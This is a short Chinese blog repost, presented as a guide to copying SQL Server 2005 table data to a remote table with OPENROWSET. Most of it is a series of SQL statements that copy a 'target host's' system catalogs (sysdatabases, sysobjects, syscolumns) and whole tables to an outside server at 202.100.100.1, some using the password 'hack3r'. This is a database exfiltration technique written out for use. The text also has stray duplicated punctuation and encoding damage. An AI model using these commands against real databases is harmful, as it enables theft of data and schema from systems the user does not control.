Sql2005復制表數(shù)據(jù)|復制表數(shù)據(jù)到遠程表

http://hi.baidu.com/59le/blog/item/3706cb00c416aa18738b65ff.html

--遠程存取
1,、 開啟遠程數(shù)據(jù)庫
基本語法
select * from OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=apachy_123', 'select * from table1' )
參數(shù): (1) OLEDB Provider name
2,、 其中連接字符串參數(shù)可以是任何和端口用來連接,比如
select * from OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table'

要復制目標主機的整個數(shù)據(jù)庫,，首先要在目標主機上和自己機器上的數(shù)據(jù)庫建立連接(如何在目標主機上建立遠程連接，剛才已經(jīng)講了),之后insert所有遠程表到本地表,。

基本語法：
insert into OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=apachy_123', 'select * from table1') select * from table2
這行語句將目標主機上table2表中的所有數(shù)據(jù)復制到遠程數(shù)據(jù)庫中的table1表中,。實際運用中適當修改連接字符串的IP地址和端口，指向需要的地方,，比如：
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table1') select * from table2

insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _sysdatabases')
select * from master.dbo.sysdatabases

insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _sysobjects')
select * from user_database.dbo.sysobjects

insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _syscolumns')
select * from user_database.dbo.syscolumns

之后,，便可以從本地數(shù)據(jù)庫中看到目標主機的庫結構，這已經(jīng)易如反掌,，不多講,，復制數(shù)據(jù)庫：
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table1') select * from database..table1

insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table2') select * from database..table2

......

------------------------------------------------------------------